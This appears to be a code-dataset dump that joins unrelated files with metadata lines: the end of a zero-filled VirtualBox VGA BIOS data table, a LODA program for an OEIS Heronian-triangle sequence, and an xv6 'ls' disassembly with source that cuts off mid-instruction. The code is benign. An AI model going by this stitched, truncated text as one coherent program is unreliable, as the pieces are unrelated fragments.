000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 039h
59.104728
109
0.353744
[ "MIT" ]
remynicol/icebox
third_party/virtualbox/src/VBox/Devices/Graphics/BIOS/VBoxVgaBiosAlternative286.asm
493,820
Assembly
; A151961: Semiperimeter of the n-th Heronian triangle. ; 3,6,21,78,291,1086,4053,15126,56451,210678,786261,2934366,10951203,40870446,152530581,569251878,2124476931,7928655846,29590146453,110431929966,412137573411,1538118363678,5740335881301,21423225161526,79952564764803,298387033897686,1113595570825941,4155995249406078 mov $1,3 lpb $0 sub $0,1 add $2,$1 add $1,$2 add $2,$1 lpe
35.454545
265
0.8
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/151/A151961.asm
390
Assembly
_ls: file format elf32-i386 Disassembly of section .text: 00001000 <main>: close(fd); } int main(int argc, char *argv[]) { 1000: f3 0f 1e fb endbr32 1004: 8d 4c 24 04 lea 0x4(%esp),%ecx 1008: 83 e4 f0 and $0xfffffff0,%esp 100b: ff 71 fc pushl -0x4(%ecx) 100e: 55 push %ebp 100f: 89 e5 mov %esp,%ebp 1011: 56 push %esi 1012: 53 push %ebx 1013: 51 push %ecx 1014: 83 ec 0c sub $0xc,%esp 1017: 8b 01 mov (%ecx),%eax 1019: 8b 51 04 mov 0x4(%ecx),%edx int i; if(argc < 2){ 101c: 83 f8 01 cmp $0x1,%eax 101f: 7e 28 jle 1049 <main+0x49> 1021: 8d 5a 04 lea 0x4(%edx),%ebx 1024: 8d 34 82 lea (%edx,%eax,4),%esi 1027: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 102e: 66 90 xchg %ax,%ax ls("."); exit(); } for(i=1; i<argc; i++) ls(argv[i]); 1030: 83 ec 0c sub $0xc,%esp 1033: ff 33 pushl (%ebx) 1035: 83 c3 04 add $0x4,%ebx 1038: e8 c3 00 00 00 call 1100 <ls> for(i=1; i<argc; i++) 103d: 83 c4 10 add $0x10,%esp 1040: 39 f3 cmp %esi,%ebx 1042: 75 ec jne 1030 <main+0x30> exit(); 1044: e8 5a 05 00 00 call 15a3 <exit> ls("."); 1049: 83 ec 0c sub $0xc,%esp 104c: 68 00 1b 00 00 push $0x1b00 1051: e8 aa 00 00 00 call 1100 <ls> exit(); 1056: e8 48 05 00 00 call 15a3 <exit> 105b: 66 90 xchg %ax,%ax 105d: 66 90 xchg %ax,%ax 105f: 90 nop 00001060 <fmtname>: { 1060: f3 0f 1e fb endbr32 1064: 55 push %ebp 1065: 89 e5 mov %esp,%ebp 1067: 56 push %esi 1068: 53 push %ebx 1069: 8b 75 08 mov 0x8(%ebp),%esi for(p=path+strlen(path); p >= path && *p != '/'; p--) 106c: 83 ec 0c sub $0xc,%esp 106f: 56 push %esi 1070: e8 4b 03 00 00 call 13c0 <strlen> 1075: 83 c4 10 add $0x10,%esp 1078: 01 f0 add %esi,%eax 107a: 89 c3 mov %eax,%ebx 107c: 73 0b jae 1089 <fmtname+0x29> 107e: eb 0e jmp 108e <fmtname+0x2e> 1080: 8d 43 ff lea -0x1(%ebx),%eax 1083: 39 c6 cmp %eax,%esi 1085: 77 0a ja 1091 <fmtname+0x31> 1087: 89 c3 mov %eax,%ebx 1089: 80 3b 2f cmpb $0x2f,(%ebx) 108c: 75 f2 jne 1080 <fmtname+0x20> 108e: 83 c3 01 add $0x1,%ebx if(strlen(p) >= DIRSIZ) 1091: 83 ec 0c sub $0xc,%esp 1094: 53 push %ebx 1095: e8 26 03 00 00 call 13c0 <strlen> 109a: 83 c4 10 add $0x10,%esp 109d: 83 f8 0d cmp $0xd,%eax 10a0: 77 4a ja 10ec <fmtname+0x8c> memmove(buf, p, strlen(p)); 10a2: 83 ec 0c sub $0xc,%esp 10a5: 53 push %ebx 10a6: e8 15 03 00 00 call 13c0 <strlen> 10ab: 83 c4 0c add $0xc,%esp 10ae: 50 push %eax 10af: 53 push %ebx 10b0: 68 74 1e 00 00 push $0x1e74 10b5: e8 b6 04 00 00 call 1570 <memmove> memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); 10ba: 89 1c 24 mov %ebx,(%esp) 10bd: e8 fe 02 00 00 call 13c0 <strlen> 10c2: 89 1c 24 mov %ebx,(%esp) return buf; 10c5: bb 74 1e 00 00 mov $0x1e74,%ebx memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); 10ca: 89 c6 mov %eax,%esi 10cc: e8 ef 02 00 00 call 13c0 <strlen> 10d1: ba 0e 00 00 00 mov $0xe,%edx 10d6: 83 c4 0c add $0xc,%esp 10d9: 29 f2 sub %esi,%edx 10db: 05 74 1e 00 00 add $0x1e74,%eax 10e0: 52 push %edx 10e1: 6a 20 push $0x20 10e3: 50 push %eax 10e4: e8 17 03 00 00 call 1400 <memset> return buf; 10e9: 83 c4 10 add $0x10,%esp } 10ec: 8d 65 f8 lea -0x8(%ebp),%esp 10ef: 89 d8 mov %ebx,%eax 10f1: 5b pop %ebx 10f2: 5e pop %esi 10f3: 5d pop %ebp 10f4: c3 ret 10f5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001100 <ls>: { 1100: f3 0f 1e fb endbr32 1104: 55 push %ebp 1105: 89 e5 mov %esp,%ebp 1107: 57 push %edi 1108: 56 push %esi 1109: 53 push %ebx 110a: 81 ec 64 02 00 00 sub $0x264,%esp 1110: 8b 7d 08 mov 0x8(%ebp),%edi if((fd = open(path, 0)) < 0){ 1113: 6a 00 push $0x0 1115: 57 push %edi 1116: e8 c8 04 00 00 call 15e3 <open> 111b: 83 c4 10 add $0x10,%esp 111e: 85 c0 test %eax,%eax 1120: 0f 88 9a 01 00 00 js 12c0 <ls+0x1c0> if(fstat(fd, &st) < 0){ 1126: 83 ec 08 sub $0x8,%esp 1129: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi 112f: 89 c3 mov %eax,%ebx 1131: 56 push %esi 1132: 50 push %eax 1133: e8 c3 04 00 00 call 15fb <fstat> 1138: 83 c4 10 add $0x10,%esp 113b: 85 c0 test %eax,%eax 113d: 0f 88 bd 01 00 00 js 1300 <ls+0x200> switch(st.type){ 1143: 0f b7 85 d4 fd ff ff movzwl -0x22c(%ebp),%eax 114a: 66 83 f8 01 cmp $0x1,%ax 114e: 74 60 je 11b0 <ls+0xb0> 1150: 66 83 f8 02 cmp $0x2,%ax 1154: 74 1a je 1170 <ls+0x70> close(fd); 1156: 83 ec 0c sub $0xc,%esp 1159: 53 push %ebx 115a: e8 6c 04 00 00 call 15cb <close> 115f: 83 c4 10 add $0x10,%esp } 1162: 8d 65 f4 lea -0xc(%ebp),%esp 1165: 5b pop %ebx 1166: 5e pop %esi 1167: 5f pop %edi 1168: 5d pop %ebp 1169: c3 ret 116a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); 1170: 83 ec 0c sub $0xc,%esp 1173: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx 1179: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi 117f: 57 push %edi 1180: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp) 1186: e8 d5 fe ff ff call 1060 <fmtname> 118b: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx 1191: 59 pop %ecx 1192: 5f pop %edi 1193: 52 push %edx 1194: 56 push %esi 1195: 6a 02 push $0x2 1197: 50 push %eax 1198: 68 e0 1a 00 00 push $0x1ae0 119d: 6a 01 push $0x1 119f: e8 6c 05 00 00 call 1710 <printf> break; 11a4: 83 c4 20 add $0x20,%esp 11a7: eb ad jmp 1156 <ls+0x56> 11a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ 11b0: 83 ec 0c sub $0xc,%esp 11b3: 57 push %edi 11b4: e8 07 02 00 00 call 13c0 <strlen> 11b9: 83 c4 10 add $0x10,%esp 11bc: 83 c0 10 add $0x10,%eax 11bf: 3d 00 02 00 00 cmp $0x200,%eax 11c4: 0f 87 16 01 00 00 ja 12e0 <ls+0x1e0> strcpy(buf, path); 11ca: 83 ec 08 sub $0x8,%esp 11cd: 57 push %edi 11ce: 8d bd e8 fd ff ff lea -0x218(%ebp),%edi 11d4: 57 push %edi 11d5: e8 66 01 00 00 call 1340 <strcpy> p = buf+strlen(buf); 11da: 89 3c 24 mov %edi,(%esp) 11dd: e8 de 01 00 00 call 13c0 <strlen> while(read(fd, &de, sizeof(de)) == sizeof(de)){ 11e2: 83 c4 10 add $0x10,%esp p = buf+strlen(buf); 11e5: 01 f8 add %edi,%eax *p++ = '/'; 11e7: 8d 48 01 lea 0x1(%eax),%ecx p = buf+strlen(buf); 11ea: 89 85 a8 fd ff ff mov %eax,-0x258(%ebp) *p++ = '/'; 11f0: 89 8d a4 fd ff ff mov %ecx,-0x25c(%ebp) 11f6: c6 00 2f movb $0x2f,(%eax) while(read(fd, &de, sizeof(de)) == sizeof(de)){ 11f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1200: 83 ec 04 sub $0x4,%esp 1203: 8d 85 c4 fd ff ff lea -0x23c(%ebp),%eax 1209: 6a 10 push $0x10 120b: 50 push %eax 120c: 53 push %ebx 120d: e8 a9 03 00 00 call 15bb <read> 1212: 83 c4 10 add $0x10,%esp 1215: 83 f8 10 cmp $0x10,%eax 1218: 0f 85 38 ff ff ff jne 1156 <ls+0x56> if(de.inum == 0) 121e: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp) 1225: 00 1226: 74 d8 je 1200 <ls+0x100> memmove(p, de.name, DIRSIZ); 1228: 83 ec 04 sub $0x4,%esp 122b: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax 1231: 6a 0e push $0xe 1233: 50 push %eax 1234: ff b5 a4 fd ff ff pushl -0x25c(%ebp) 123a: e8 31 03 00 00 call 1570 <memmove> p[DIRSIZ] = 0; 123f: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax 1245: c6 40 0f 00 movb $0x0,0xf(%eax) if(stat(buf, &st) < 0){ 1249: 58 pop %eax 124a: 5a pop %edx 124b: 56 push %esi 124c: 57 push %edi 124d: e8 8e 02 00 00 call 14e0 <stat> 1252: 83 c4 10 add $0x10,%esp 1255: 85 c0 test %eax,%eax 1257: 0f 88 cb 00 00 00 js 1328 <ls+0x228> printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); 125d: 83 ec 0c sub $0xc,%esp 1260: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx 1266: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx 126c: 57 push %edi 126d: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax 1274: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp) 127a: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp) 1280: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp) 1286: e8 d5 fd ff ff call 1060 <fmtname> 128b: 5a pop %edx 128c: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx 1292: 59 pop %ecx 1293: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx 1299: 51 push %ecx 129a: 52 push %edx 129b: ff b5 b4 fd ff ff pushl -0x24c(%ebp) 12a1: 50 push %eax 12a2: 68 e0 1a 00 00 push $0x1ae0 12a7: 6a 01 push $0x1 12a9: e8 62 04 00 00 call 1710 <printf> 12ae: 83 c4 20 add $0x20,%esp 12b1: e9 4a ff ff ff jmp 1200 <ls+0x100> 12b6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 12bd: 8d 76 00 lea 0x0(%esi),%esi printf(2, "ls: cannot open %s\n", path); 12c0: 83 ec 04 sub $0x4,%esp 12c3: 57 push %edi 12c4: 68 b8 1a 00 00 push $0x1ab8 12c9: 6a 02 push $0x2 12cb: e8 40 04 00 00 call 1710 <printf> return; 12d0: 83 c4 10 add $0x10,%esp } 12d3: 8d 65 f4 lea -0xc(%ebp),%esp 12d6: 5b pop %ebx 12d7: 5e pop %esi 12d8: 5f pop %edi 12d9: 5d pop %ebp 12da: c3 ret 12db: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 12df: 90 nop printf(1, "ls: path too long\n"); 12e0: 83 ec 08 sub $0x8,%esp 12e3: 68 ed 1a 00 00 push $0x1aed 12e8: 6a 01 push $0x1 12ea: e8 21 04 00 00 call 1710 <printf> break; 12ef: 83 c4 10 add $0x10,%esp 12f2: e9 5f fe ff ff jmp 1156 <ls+0x56> 12f7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 12fe: 66 90 xchg %ax,%ax printf(2, "ls: cannot stat %s\n", path); 1300: 83 ec 04 sub $0x4,%esp 1303: 57 push %edi 1304: 68 cc 1a 00 00 push $0x1acc 1309: 6a 02 push $0x2 130b: e8 00 04 00 00 call 1710 <printf> close(fd); 1310: 89 1c 24 mov %ebx,(%esp) 1313: e8 b3 02 00 00 call 15cb <close> return; 1318: 83 c4 10 add $0x10,%esp } 131b: 8d 65 f4 lea -0xc(%ebp),%esp 131e: 5b pop %ebx 131f: 5e pop %esi 1320: 5f pop %edi 1321: 5d pop %ebp 1322: c3 ret 1323: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1327: 90 nop printf(1, "ls: cannot stat %s\n", buf); 1328: 83 ec 04 sub $0x4,%esp 132b: 57 push %edi 132c: 68 cc 1a 00 00 push $0x1acc 1331: 6a 01 push $0x1 1333: e8 d8 03 00 00 call 1710 <printf> continue; 1338: 83 c4 10 add $0x10,%esp 133b: e9 c0 fe ff ff jmp 1200 <ls+0x100> 00001340 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1340: f3 0f 1e fb endbr32 1344: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 1345: 31 c0 xor %eax,%eax { 1347: 89 e5 mov %esp,%ebp 1349: 53 push %ebx 134a: 8b 4d 08 mov 0x8(%ebp),%ecx 134d: 8b 5d 0c mov 0xc(%ebp),%ebx while((*s++ = *t++) != 0) 1350: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 1354: 88 14 01 mov %dl,(%ecx,%eax,1) 1357: 83 c0 01 add $0x1,%eax 135a: 84 d2 test %dl,%dl 135c: 75 f2 jne 1350 <strcpy+0x10> ; return os; } 135e: 89 c8 mov %ecx,%eax 1360: 5b pop %ebx 1361: 5d pop %ebp 1362: c3 ret 1363: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 136a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001370 <strcmp>: int strcmp(const char *p, const char *q) { 1370: f3 0f 1e fb endbr32 1374: 55 push %ebp 1375: 89 e5 mov %esp,%ebp 1377: 53 push %ebx 1378: 8b 4d 08 mov 0x8(%ebp),%ecx 137b: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 137e: 0f b6 01 movzbl (%ecx),%eax 1381: 0f b6 1a movzbl (%edx),%ebx 1384: 84 c0 test %al,%al 1386: 75 19 jne 13a1 <strcmp+0x31> 1388: eb 26 jmp 13b0 <strcmp+0x40> 138a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1390: 0f b6 41 01 movzbl 0x1(%ecx),%eax p++, q++; 1394: 83 c1 01 add $0x1,%ecx 1397: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 139a: 0f b6 1a movzbl (%edx),%ebx 139d: 84 c0 test %al,%al 139f: 74 0f je 13b0 <strcmp+0x40> 13a1: 38 d8 cmp %bl,%al 13a3: 74 eb je 1390 <strcmp+0x20> return (uchar)*p - (uchar)*q; 13a5: 29 d8 sub %ebx,%eax } 13a7: 5b pop %ebx 13a8: 5d pop %ebp 13a9: c3 ret 13aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 13b0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 13b2: 29 d8 sub %ebx,%eax } 13b4: 5b pop %ebx 13b5: 5d pop %ebp 13b6: c3 ret 13b7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 13be: 66 90 xchg %ax,%ax 000013c0 <strlen>: uint strlen(char *s) { 13c0: f3 0f 1e fb endbr32 13c4: 55 push %ebp 13c5: 89 e5 mov %esp,%ebp 13c7: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) 13ca: 80 3a 00 cmpb $0x0,(%edx) 13cd: 74 21 je 13f0 <strlen+0x30> 13cf: 31 c0 xor %eax,%eax 13d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 13d8: 83 c0 01 add $0x1,%eax 13db: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 13df: 89 c1 mov %eax,%ecx 13e1: 75 f5 jne 13d8 <strlen+0x18> ; return n; } 13e3: 89 c8 mov %ecx,%eax 13e5: 5d pop %ebp 13e6: c3 ret 13e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 13ee: 66 90 xchg %ax,%ax for(n = 0; s[n]; n++) 13f0: 31 c9 xor %ecx,%ecx } 13f2: 5d pop %ebp 13f3: 89 c8 mov %ecx,%eax 13f5: c3 ret 13f6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 13fd: 8d 76 00 lea 0x0(%esi),%esi 00001400 <memset>: void* memset(void *dst, int c, uint n) { 1400: f3 0f 1e fb endbr32 1404: 55 push %ebp 1405: 89 e5 mov %esp,%ebp 1407: 57 push %edi 1408: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 140b: 8b 4d 10 mov 0x10(%ebp),%ecx 140e: 8b 45 0c mov 0xc(%ebp),%eax 1411: 89 d7 mov %edx,%edi 1413: fc cld 1414: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1416: 89 d0 mov %edx,%eax 1418: 5f pop %edi 1419: 5d pop %ebp 141a: c3 ret 141b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 141f: 90 nop 00001420 <strchr>: char* strchr(const char *s, char c) { 1420: f3 0f 1e fb endbr32 1424: 55 push %ebp 1425: 89 e5 mov %esp,%ebp 1427: 8b 45 08 mov 0x8(%ebp),%eax 142a: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 142e: 0f b6 10 movzbl (%eax),%edx 1431: 84 d2 test %dl,%dl 1433: 75 16 jne 144b <strchr+0x2b> 1435: eb 21 jmp 1458 <strchr+0x38> 1437: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 143e: 66 90 xchg %ax,%ax 1440: 0f b6 50 01 movzbl 0x1(%eax),%edx 1444: 83 c0 01 add $0x1,%eax 1447: 84 d2 test %dl,%dl 1449: 74 0d je 1458 <strchr+0x38> if(*s == c) 144b: 38 d1 cmp %dl,%cl 144d: 75 f1 jne 1440 <strchr+0x20> return (char*)s; return 0; } 144f: 5d pop %ebp 1450: c3 ret 1451: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 1458: 31 c0 xor %eax,%eax } 145a: 5d pop %ebp 145b: c3 ret 145c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001460 <gets>: char* gets(char *buf, int max) { 1460: f3 0f 1e fb endbr32 1464: 55 push %ebp 1465: 89 e5 mov %esp,%ebp 1467: 57 push %edi 1468: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 1469: 31 f6 xor %esi,%esi { 146b: 53 push %ebx 146c: 89 f3 mov %esi,%ebx 146e: 83 ec 1c sub $0x1c,%esp 1471: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 1474: eb 33 jmp 14a9 <gets+0x49> 1476: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 147d: 8d 76 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 1480: 83 ec 04 sub $0x4,%esp 1483: 8d 45 e7 lea -0x19(%ebp),%eax 1486: 6a 01 push $0x1 1488: 50 push %eax 1489: 6a 00 push $0x0 148b: e8 2b 01 00 00 call 15bb <read> if(cc < 1) 1490: 83 c4 10 add $0x10,%esp 1493: 85 c0 test %eax,%eax 1495: 7e 1c jle 14b3 <gets+0x53> break; buf[i++] = c; 1497: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 149b: 83 c7 01 add $0x1,%edi 149e: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 14a1: 3c 0a cmp $0xa,%al 14a3: 74 23 je 14c8 <gets+0x68> 14a5: 3c 0d cmp $0xd,%al 14a7: 74 1f je 14c8 <gets+0x68> for(i=0; i+1 < max; ){ 14a9: 83 c3 01 add $0x1,%ebx 14ac: 89 fe mov %edi,%esi 14ae: 3b 5d 0c cmp 0xc(%ebp),%ebx 14b1: 7c cd jl 1480 <gets+0x20> 14b3: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 14b5: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 14b8: c6 03 00 movb $0x0,(%ebx) } 14bb: 8d 65 f4 lea -0xc(%ebp),%esp 14be: 5b pop %ebx 14bf: 5e pop %esi 14c0: 5f pop %edi 14c1: 5d pop %ebp 14c2: c3 ret 14c3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 14c7: 90 nop 14c8: 8b 75 08 mov 0x8(%ebp),%esi 14cb: 8b 45 08 mov 0x8(%ebp),%eax 14ce: 01 de add %ebx,%esi 14d0: 89 f3 mov %esi,%ebx buf[i] = '\0'; 14d2: c6 03 00 movb $0x0,(%ebx) } 14d5: 8d 65 f4 lea -0xc(%ebp),%esp 14d8: 5b pop %ebx 14d9: 5e pop %esi 14da: 5f pop %edi 14db: 5d pop %ebp 14dc: c3 ret 14dd: 8d 76 00 lea 0x0(%esi),%esi 000014e0 <stat>: int stat(char *n, struct stat *st) { 14e0: f3 0f 1e fb endbr32 14e4: 55 push %ebp 14e5: 89 e5 mov %esp,%ebp 14e7: 56 push %esi 14e8: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 14e9: 83 ec 08 sub $0x8,%esp 14ec: 6a 00 push $0x0 14ee: ff 75 08 pushl 0x8(%ebp) 14f1: e8 ed 00 00 00 call 15e3 <open> if(fd < 0) 14f6: 83 c4 10 add $0x10,%esp 14f9: 85 c0 test %eax,%eax 14fb: 78 2b js 1528 <stat+0x48> return -1; r = fstat(fd, st); 14fd: 83 ec 08 sub $0x8,%esp 1500: ff 75 0c pushl 0xc(%ebp) 1503: 89 c3 mov %eax,%ebx 1505: 50 push %eax 1506: e8 f0 00 00 00 call 15fb <fstat> close(fd); 150b: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 150e: 89 c6 mov %eax,%esi close(fd); 1510: e8 b6 00 00 00 call 15cb <close> return r; 1515: 83 c4 10 add $0x10,%esp } 1518: 8d 65 f8 lea -0x8(%ebp),%esp 151b: 89 f0 mov %esi,%eax 151d: 5b pop %ebx 151e: 5e pop %esi 151f: 5d pop %ebp 1520: c3 ret 1521: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 1528: be ff ff ff ff mov $0xffffffff,%esi 152d: eb e9 jmp 1518 <stat+0x38> 152f: 90 nop 00001530 <atoi>: int atoi(const char *s) { 1530: f3 0f 1e fb endbr32 1534: 55 push %ebp 1535: 89 e5 mov %esp,%ebp 1537: 53 push %ebx 1538: 8b 55 08 mov 0x8(%ebp),%edx int n; n = 0; while('0' <= *s && *s <= '9') 153b: 0f be 02 movsbl (%edx),%eax 153e: 8d 48 d0 lea -0x30(%eax),%ecx 1541: 80 f9 09 cmp $0x9,%cl n = 0; 1544: b9 00 00 00 00 mov $0x0,%ecx while('0' <= *s && *s <= '9') 1549: 77 1a ja 1565 <atoi+0x35> 154b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 154f: 90 nop n = n*10 + *s++ - '0'; 1550: 83 c2 01 add $0x1,%edx 1553: 8d 0c 89 lea (%ecx,%ecx,4),%ecx 1556: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx while('0' <= *s && *s <= '9') 155a: 0f be 02 movsbl (%edx),%eax 155d: 8d 58 d0 lea -0x30(%eax),%ebx 1560: 80 fb 09 cmp $0x9,%bl 1563: 76 eb jbe 1550 <atoi+0x20> return n; } 1565: 89 c8 mov %ecx,%eax 1567: 5b pop %ebx 1568: 5d pop %ebp 1569: c3 ret 156a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001570 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 1570: f3 0f 1e fb endbr32 1574: 55 push %ebp 1575: 89 e5 mov %esp,%ebp 1577: 57 push %edi 1578: 8b 45 10 mov 0x10(%ebp),%eax 157b: 8b 55 08 mov 0x8(%ebp),%edx 157e: 56 push %esi 157f: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1582: 85 c0 test %eax,%eax 1584: 7e 0f jle 1595 <memmove+0x25> 1586: 01 d0 add %edx,%eax dst = vdst; 1588: 89 d7 mov %edx,%edi 158a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi *dst++ = *src++; 1590: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 1591: 39 f8 cmp %edi,%eax 1593: 75 fb jne 1590 <memmove+0x20> return vdst; } 1595: 5e pop %esi 1596: 89 d0 mov %edx,%eax 1598: 5f pop %edi 1599: 5d pop %ebp 159a: c3 ret 0000159b <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 159b: b8 01 00 00 00 mov $0x1,%eax 15a0: cd 40 int $0x40 15a2: c3 ret 000015a3 <exit>: SYSCALL(exit) 15a3: b8 02 00 00 00 mov $0x2,%eax 15a8: cd 40 int $0x40 15aa: c3 ret 000015ab <wait>: SYSCALL(wait) 15ab: b8 03 00 00 00 mov $0x3,%eax 15b0: cd 40 int $0x40 15b2: c3 ret 000015b3 <pipe>: SYSCALL(pipe) 15b3: b8 04 00 00 00 mov $0x4,%eax 15b8: cd 40 int $0x40 15ba: c3 ret 000015bb <read>: SYSCALL(read) 15bb: b8 05 00 00 00 mov $0x5,%eax 15c0: cd 40 int $0x40 15c2: c3 ret 000015c3 <write>: SYSCALL(write) 15c3: b8 10 00 00 00 mov $0x10,%eax 15c8: cd 40 int $0x40 15ca: c3 ret 000015cb <close>: SYSCALL(close) 15cb: b8 15 00 00 00 mov $0x15,%eax 15d0: cd 40 int $0x40 15d2: c3 ret 000015d3 <kill>: SYSCALL(kill) 15d3: b8 06 00 00 00 mov $0x6,%eax 15d8: cd 40 int $0x40 15da: c3 ret 000015db <exec>: SYSCALL(exec) 15db: b8 07 00 00 00 mov $0x7,%eax 15e0: cd 40 int $0x40 15e2: c3 ret 000015e3 <open>: SYSCALL(open) 15e3: b8 0f 00 00 00 mov $0xf,%eax 15e8: cd 40 int $0x40 15ea: c3 ret 000015eb <mknod>: SYSCALL(mknod) 15eb: b8 11 00 00 00 mov $0x11,%eax 15f0: cd 40 int $0x40 15f2: c3 ret 000015f3 <unlink>: SYSCALL(unlink) 15f3: b8 12 00 00 00 mov $0x12,%eax 15f8: cd 40 int $0x40 15fa: c3 ret 000015fb <fstat>: SYSCALL(fstat) 15fb: b8 08 00 00 00 mov $0x8,%eax 1600: cd 40 int $0x40 1602: c3 ret 00001603 <link>: SYSCALL(link) 1603: b8 13 00 00 00 mov $0x13,%eax 1608: cd 40 int $0x40 160a: c3 ret 0000160b <mkdir>: SYSCALL(mkdir) 160b: b8 14 00 00 00 mov $0x14,%eax 1610: cd 40 int $0x40 1612: c3 ret 00001613 <chdir>: SYSCALL(chdir) 1613: b8 09 00 00 00 mov $0x9,%eax 1618: cd 40 int $0x40 161a: c3 ret 0000161b <dup>: SYSCALL(dup) 161b: b8 0a 